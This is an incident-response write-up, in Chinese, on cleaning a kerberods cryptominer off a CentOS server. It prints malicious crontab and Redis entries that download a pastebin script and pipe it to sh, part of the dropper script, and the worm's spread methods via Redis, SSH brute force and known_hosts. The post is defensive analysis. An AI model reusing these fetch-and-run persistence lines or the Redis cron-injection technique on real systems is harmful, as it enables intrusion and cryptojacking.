参考文档 https://www.freebuf.com/articles/web/94237.html https://www.4hou.com/vulnerable/13843.html https://laucyun.com/17e194c26e4554cab975aae760bad553.html

现象 服务器CPU飙升 故障时间2019.4.10 17:50 top及htop查看信息只能看到1个cpu信息，默认是4个

排错 排查发现crontab异常

1
2
[root@VM_3_114_centos ~]# crontab -l
*/15 * * * * （curl -fsSL https://pastebin.com/raw/xmxHzu5P||wget -q -O- https://pastebin.com/raw/xmxHzu5P)|sh

先简单解决问题 重命名curl wget yum等工具，然后停止cron服务，删除crontab任务并禁锢cron任务中root文件，并修改host伪造pastebin.com解析，问题暂时得到了解决

然后分析问题 手工试了下这个脚本的威力，具体的也可以访问这个网站查看 https://pastebin.com/raw/xmxHzu5P ，这里会木马启动文件/usr/sbin/kerberods 后来网上查了下该病毒短时间内即造成大量 Linux 主机沦陷，它的传播方式分为三种，分别是： - 从 known_hosts 文件读取 IP 列表，用于登录信任该主机的其他主机，并控制它们执行恶意命令 - 利用 Redis 未授权访问和弱密码这两种常见的配置问题进行控制它们执行恶意命令 - 利用 SSH 弱密码进行爆破，然后控制它们执行恶意命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
[root@VM_3_114_centos tmp]# wgetold -q -O- https://pastebin.com/raw/xmxHzu5P
export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin

mkdir -p /tmp
chmod 1777 /tmp
rm -rf /tmp/go.sh
rm -rf /tmp/go2.sh
ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9
ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/tmp/devtool"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "systemctI"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kpsmouseds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kthrotlds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kintegrityds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "suolbcc"|awk '{print $2}'|xargs kill -9
ps aux|grep -v grep|grep -v khugepageds|awk '{if($3>=80.0) print $2}'|xargs kill -9
apt-get install curl -y||yum install curl -y||apk add curl -y
apt-get install cron -y||yum install crontabs -y||apk add cron -y
systemctl start crond
systemctl start cron
systemctl start crontab
service

查找当时哪些文件被修改了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
[root@VM_3_114_centos / ]#find ./ -mtime -1 -type f  -exec ls -lt {} \; | grep "17:50"
-rw-r--r-- 1 root root 9216 Apr 10 17:50 ./etc/pki/nssdb/cert9.dbold
-rw-r--r-- 1 root root 11264 Apr 10 17:50 ./etc/pki/nssdb/key4.dbold
-rw-r--r-- 1 root root 35773 Apr 10 17:50 ./etc/ld.so.cache
-rw-r--r-- 1 root root 35773 Apr 10 17:50 ./etc/crond.d/tomcat
-rw-r--r-- 1 root root 17 Apr 10 17:50 ./run/systemd/system/session-460352.scope
-rw-r--r-- 1 root root 17 Apr 10 17:50 ./run/systemd/system/session-460351.scope
-rw------- 1 root root 28903 Apr 10 17:50 ./var/cache/ldconfig/aux-cache
-rw-r--r-- 1 root root 0 Apr 10 17:50 ./var/cache/yum/x86_64/7/timedhosts.txt
-rw-r--r-- 3 root root 6 Apr 10 17:50 ./var/lib/yum/yumdb/c/63b6311ebd291411c3e991f4266bb07031a53fad-curl-7.29.0-51.el7-x86_64/checksum_type
-rw-r--r-- 2 root root 10 Apr 10 17:50 ./var/lib/yum/yumdb/c/63b6311ebd291411c3e991f4266bb07031a53fad-curl-7.29.0-51.el7-x86_64/from_repo_revision
-rw-r--r-- 1 root root 36 Apr 10 17:50 ./var/lib/yum/yumdb/c/63b6311ebd291411c3e991f4266bb07031a53fad-curl-7.29.0-51.el7-x86_64/var_uuid
-rw-r--r-- 2 root root 10 Apr 10 17:50 ./var/lib/yum/yumdb/c/63b6311ebd291411c3e991f4266bb07031a53fad-curl-7.29.0-51.el7-x86_64/from_repo_timestamp
-rw-r--r-- 1 root root 87 Apr 10 17:50 ./var/lib/yum/yumdb/c/63b6311ebd291411c3e991f4266bb07031a53fad-curl-7.29.0-51.el7-x86_64/origin_url
-rw-r--r-- 1 root root 64 Apr 10 17:50 ./var/lib/yum/yumdb/c/63b6311ebd291411c3e991f4266bb07031a53fad-curl-7.29.0-51.el7-x86_64/checksum_data
-rw-r--r-- 1 root root 5 Apr 10 17:50 ./var/lib/yum/yumdb/c/63b6311ebd291411c3e991f4266bb07031a53fad-curl-7.29.0-51.el7-x86_64/var_infra
-rw-r--r-- 3 root root 15 Apr 10 17:50 ./var/lib/yum/yumdb/c/63b6311ebd291411c3e991f4266bb07031a53fad-curl-7.29.0-51.el7-x86_64/command_line
-rw-r--r-- 3 root root 6 Apr 10 17:50 ./var/lib/yum/yumdb/n/77651d1cdf0adc19dafdecb490426f20e15f8554-nss-pem-1.0.3-5.el7_6.1-x86_64/checksum_type
-rw-r--r-- 1 root root 10 Apr 10 17:50 ./var/lib/yum/yumdb/n/77651d1cdf0adc19dafdecb490426f20e15f8554-nss-pem-1.0.3-5.el7_6.1-x86_64/from_repo_revision
-rw-r--r-- 1 root root 36 Apr 10 17:50 ./var/lib/yum/yumdb/n/77651d1cdf0adc19dafdecb490426f20e15f8554-nss-pem-1.0.3-5.el7_6.1-x86_64/var_uuid
-rw-r--r-- 1 root root 10 Apr 10 17:50 ./var/lib/yum/yumdb/n/77651d1cdf0adc19dafdecb490426f20e15f8554-nss-pem-1.0.3-5.el7_6.1-x86_64/from_repo_timestamp
-rw-r--r-- 1 root root 97 Apr 10 17:50 ./var/lib/yum/yumdb/n/77651d1cdf0adc19dafdecb490426f20e15f8554-nss-pem-1.0.3-5.el7_6.1-x86_64/origin_url
-rw-r--r-- 1 root root 64 Apr 10 17:50 ./var/lib/yum/yumdb/n/77651d1cdf0adc19dafdecb490426f20e15f8554-nss-pem-1.0.3-5.el7_6.1-x86_64/checksum_data
-rw-r--r-- 1 root root 5 Apr 10 17:50 ./var/lib/yum/yumdb/n/77651d1cdf0adc19dafdecb490426f20e15f8554-nss-pem-1.0.3-5.el7_6.1-x86_64/var_infra
-rw-r--r-- 3 root root 15 Apr 10 17:50 ./var/lib/yum/yumdb/n/77651d1cdf0adc19dafdecb490426f20e15f8554-nss-pem-1.0.3-5.el7_6.1-x86_64/command_line
-rw-r--r-- 1 root root 7 Apr 10 17:50 ./var/lib/yum/yumdb/n/77651d1cdf0adc19dafdecb490426f20e15f8554-nss-pem-1.0.3-5.el7_6.1-x86_64/from_repo
-rw-r--r-- 3 root root 6 Apr 10 17:50 ./var/lib/yum/yumdb/l/28abae6a2a790b33d342f09c6eb881cff0b30f19-libcurl-7.29.0-51.el7-x86_64/checksum_type
-rw-r--r-- 2 root root 10 Apr 10 17:50 ./var/lib/yum/yumdb/l/28abae6a2a790b33d342f09c6eb881cff0b30f19-libcurl-7.29.0-51.el7-x86_64/from_repo_revision
-rw-r--r-- 1 root root 36 Apr 10 17:50 ./var/lib/yum/yumdb/l/28abae6a2a790b33d342f09c6eb881cff0b30f19-libcurl-7.29.0-51.el7-x86_64/var_uuid
-rw-r--r-- 2 root root 10 Apr 10 17:50 ./var/lib/yum/yumdb/l/28abae6a2a790b33d342f09c6eb881cff0b30f19-libcurl-7.29.0-51.el7-x86_64/from_repo_timestamp
-rw-r--r-- 1 root root 90 Apr 10 17:50 ./var/lib/yum/yumdb/l/28abae6a2a790b33d342f09c6eb881cff0b30f19-libcurl-7.29.0-51.el7-x86_64/origin_url
-rw-r--r-- 1 root root 64 Apr 10 17:50 ./var/lib/yum/yumdb/l/28abae6a2a790b33d342f09c6eb881cff0b30f19-libcurl-7.29.0-51.el7-x86_64/checksum_data
-rw-r--r-- 1 root root 5 Apr 10 17:50 ./var/lib/yum/yumdb/l/28abae6a2a790b33d342f09c6eb881cff0b30f19-libcurl-7.29.0-51.el7-x86_64/var_infra
-rw-r--r-- 3 root root 15 Apr 10 17:50 ./var/lib/yum/yumdb/l/28abae6a2a790b33d342f09c6eb881cff0b30f19-libcurl-7.29.0-51.el7-x86_64/command_line
-rw-------. 1 root root 896000 Apr 10 17:50 ./var/lib/yum/history/history-2016-04-21.sqlite
-rw-r--r-- 1 root root 3597 Apr 10 17:50 ./var/lib/yum/history/2016-04-21/21/config-main
-rw-r--r-- 1 root root 8391 Apr 10 17:50 ./var/lib/yum/history/2016-04-21/21/config-repos
-rw-r--r-- 1 root root 1722 Apr 10 17:50 ./var/lib/yum/history/2016-04-21/21/saved_tx
-rw-------. 1 root root 33536 Apr 10 17:50 ./var/lib/yum/history/history-2016-04-21.sqlite-journal
-rw-r--r-- 1 root root 45 Apr 10 17:50 ./var/lib/yum/rpmdb-indexes/version
-rw-r--r-- 1 root root 2692 Apr 10 17:50 ./var/lib/yum/rpmdb-indexes/conflicts
-rw-r--r-- 1 root root 3105 Apr 10 17:50 ./var/lib/yum/rpmdb-indexes/obsoletes
-rw-r--r-- 1 root root 60927 Apr 10 17:50 ./var/lib/yum/rpmdb-indexes/pkgtups-checksums
-rw-r--r-- 1 root root 23303 Apr 10 17:50 ./var/lib/yum/rpmdb-indexes/file-requires
-rw-r--r--. 1 root root 12288 Apr 10 17:50 ./var/lib/rpm/Installtid
-rw-r--r--. 1 root root 2273280 Apr 10 17:50 ./var/lib/rpm/Dirnames
-rw-r--r--. 1 root root 40960 Apr 10 17:50 ./var/lib/rpm/Sigmd5
-rw-r--r--. 1 root root 65536 Apr 10 17:50 ./var/lib/rpm/Sha1header
-rw-r--r--. 1 root root 36864 Apr 10 17:50 ./var/lib/rpm/Name
-rw-r--r--. 1 root root 73367552 Apr 10 17:50 ./var/lib/rpm/Packages
-rw-r--r--. 1 root root 8192 Apr 10 17:50 ./var/lib/rpm/Conflictname
-rw-r--r--. 1 root root 20480 Apr 10 17:50 ./var/lib/rpm/Group
-rw-r--r--. 1 root root 188416 Apr 10 17:50 ./var/lib/rpm/Requirename
-rw-r--r--. 1 root root 1617920 Apr 10 17:50 ./var/lib/rpm/Providename
-rw-r--r--. 1 root root 3084288 Apr 10 17:50 ./var/lib/rpm/Basenames
-rw------- 1 root root 161 Apr 10 17:50 ./var/log/yum.log

发现问题文件 发现一个比较可疑的文件，文件当时没用删除是二进程形式，通过xxd能查看，大概如下内容，比较奇怪的是redis格式的，而且还有redis版本，后来谷歌发现redis无密码确实有被利用的风险

1
2
3
4
5
6
7
8
[root@VM_3_114_centos / ]#cat /etc/crond.d/tomcat
REDIS 0008%09 redis-ver4.0.6 redis-bits 򳨭used-memq
þ񱴮time@Gts󿿀򳨭eec¯used-memP
*/15 * * * * root wget -q -O- https://pastebin.com/raw/v5XC0BJh|sh
##
caches@F
*/10 * * * * root curl -fsSL https://pastebin.com/raw/v5XC0BJh|sh
##

利用redis未授权漏洞复盘攻击过程 下面展示利用 Redis 未授权访问和弱密码这两种常见的配置问题进行控制它们执行恶意命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[root@VM_3_114_centos ~]# redis-cli
127.0.0.1:6379> KEYS *
1) "runtime"
2) "caches"
127.0.0.1:6379> GET runtime
"\n*/15 * * * * wget -q -O- https://pastebin.com/raw/v5XC0BJh|sh\n##\n"
127.0.0.1:6379> get caches
"\n*/10 * * * * curl -fsSL https://pastebin.com/raw/v5XC0BJh|sh\n##\n"
127.0.0.1:6379> 
127.0.0.1:6379> DEL runtime
(integer) 1
127.0.0.1:6379> del caches
(integer) 1
127.0.0.1:6379> KEYS *
(empty list or set)
127.0.0.1:6379> CONFIG GET dir
1) "dir"
2) "/var/spool/cron/crontabs"
127.0.0.1:6379> CONFIG GET dbfilename
1) "dbfilename"
2) "root"

检查known_host文件 挖矿病毒kerberods会暴力破解known_hosts里面主机的密码，还会扫描known_hosts主机是否对外开通6379端口，要是开放了redis端口可以利用redis远程执行漏洞，直接ssh免密登陆远程服务器继续扩散病毒 [root@VM_3_114_centos .ssh]# cat known_hosts

介绍kerberods木马 - kerberods木马启动程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
[root@VM_3_114_centos init.d]# cat /etc/init.d/netdns 
#! /bin/bash
#chkconfig: - 99 01
#description: kerberods daemon
#processname: /usr/sbin/kerberods
### BEGIN INIT INFO
# Provides:     /user/sbin/kerberods
# Required-Start:
# Required-Stop:
# Default-Start:        2 3 4 5
# Default-Stop:         0 1 6
# Short-Description: kerberods deamon
# Description:          kerberods deamon
### END INIT INFO
LocalPath="/usr/sbin/kerberods"
name='kerberods'
pid_file="/tmp/.X11unix"
stdout_log="/var/log/$name.log"
stderr_log="/var/log/$name.err"
get_pid(){
    cat "$pid_file"
}
is_running(){
    [ -f "$pid_file" ] &&/usr/sbin/kerberods -Pid $(get_pid) > /dev/null 2>&1
}
case "$1" in
start)
    if is_running; then
        echo "Already started"
    else
        echo "Starting $name"
        $LocalPath >>"$stdout_log" 2>> "$stderr_log" &
        echo $! > "$pid_file"
        if ! is_running; then
        echo "Unable to start, see$stdout_log and $stderr_log"
        exit 1
        fi
    fi
;;
stop)
    if is_running; then
        echo -n "Stopping$name.."
        kill $(get_pid)
        for i in {1..10}
        do
            if ! is_running; then
                break
            fi
            echo -n "."
            sleep 1
        done
        echo
        if is_running; then
            echo "Not stopped; maystill be shutting down or shutdown may have failed"
            exit 1
        else
            echo "Stopped"
            if [ -f "$pid_file"]; then
                rm "$pid_file"
            fi
        fi
    else
        echo "Not running"
    fi
;;
restart)
    $0 stop
    if is_running; then
        echo "Unable to stop, will notattempt to start"
        exit 1
    fi
    $0 start
;;
status)
    if is_running; then
        echo "Running"
    else
        echo "Stopped"
        exit 1
    fi
;;
*)
echo "Usage: $0{start|stop|restart|status}"
exit 1
;;
esac

最后汇总下杀毒步骤及注意事项 - 删除木马及启动服务

1
2
3
4
5
6
7
8
9
10
11
12
rm -rf /usr/sbin/kerberods
rm -rf /etc/init.d/netdns
rm -rf /etc/rc.d/rc0.d/K01netdns
rm -rf /etc/rc.d/rc1.d/K01netdns
rm -rf /etc/rc.d/rc2.d/S99netdns
rm -rf /etc/rc.d/rc3.d/S99netdns
rm -rf /etc/rc.d/rc4.d/S99netdns
rm -rf /etc/rc.d/rc5.d/S99netdns
rm -rf /etc/rc.d/rc6.d/K01netdns
rm -rf /etc/systemd/system/multi-user.target.wants/netdns.service
rm -rf /usr/lib/systemd/system/netdns.servic

  • 删除计划任务
1
2
3
4
rm -rf /etc/crond.d/tomcat
> /var/spool/cron/root ;chattr +i root 
> /var/spool/cron/crontabs/root ;chattr +i root 
> /etc/cron.d/root ;chattr +i root

  • redis清空相关配置及设置密钥，不要用root账号运行redis

  • 修改hosts文件设置pastebin.com解析

  • 重启（如果不重启，有些进制驻留到内存不能释放）

  • htop，top等命令还是显示不了多核心，可以重新部署系统

  • 检查/root/.ssh/known_hosts里面服务器是否也有相关问题

  • 做好安全组云服务虽然有VPC隔离但是并不安全，如果不限制好安全组其他中毒的服务器容易攻击

事后发现最终原因

情报名称
Confluence 路径穿越漏洞安全预警（CVE-2019-3398） 风险等级
严重 情报概述
近日，腾讯云安全中心监测到 Confluence官方发布安全公告，披露了Confluence Server 和 Data Center 产品在 downloadallattachments 资源中存在的一个路径穿越漏洞，攻击者可利用该漏洞写入恶意文件导致代码执行。 为避免您的业务受影响，腾讯云安全中心建议您及时开展安全自查，如在受影响范围，请您及时进行更新修复，避免被外部攻击者入侵

逆向工程 Confluence网站80端口对公网开放，黑客利用漏洞入侵，下载病毒到Confluence服务器，然后病毒根据.ssh/known_hosts文件扫描服务器及所在网段redis服务，如果redis服务为授权就会有如上redis服务哪一堆骚操作了，会通过redis把下载并执行病毒的操作写入计划任务里。最后就算内网没有redis服务也会尝试暴力破解的方式攻击内网服务器，所以内网弱密码同样是重灾区。云服务器的安全很重要，要不然病毒会在整个云环境中蔓延。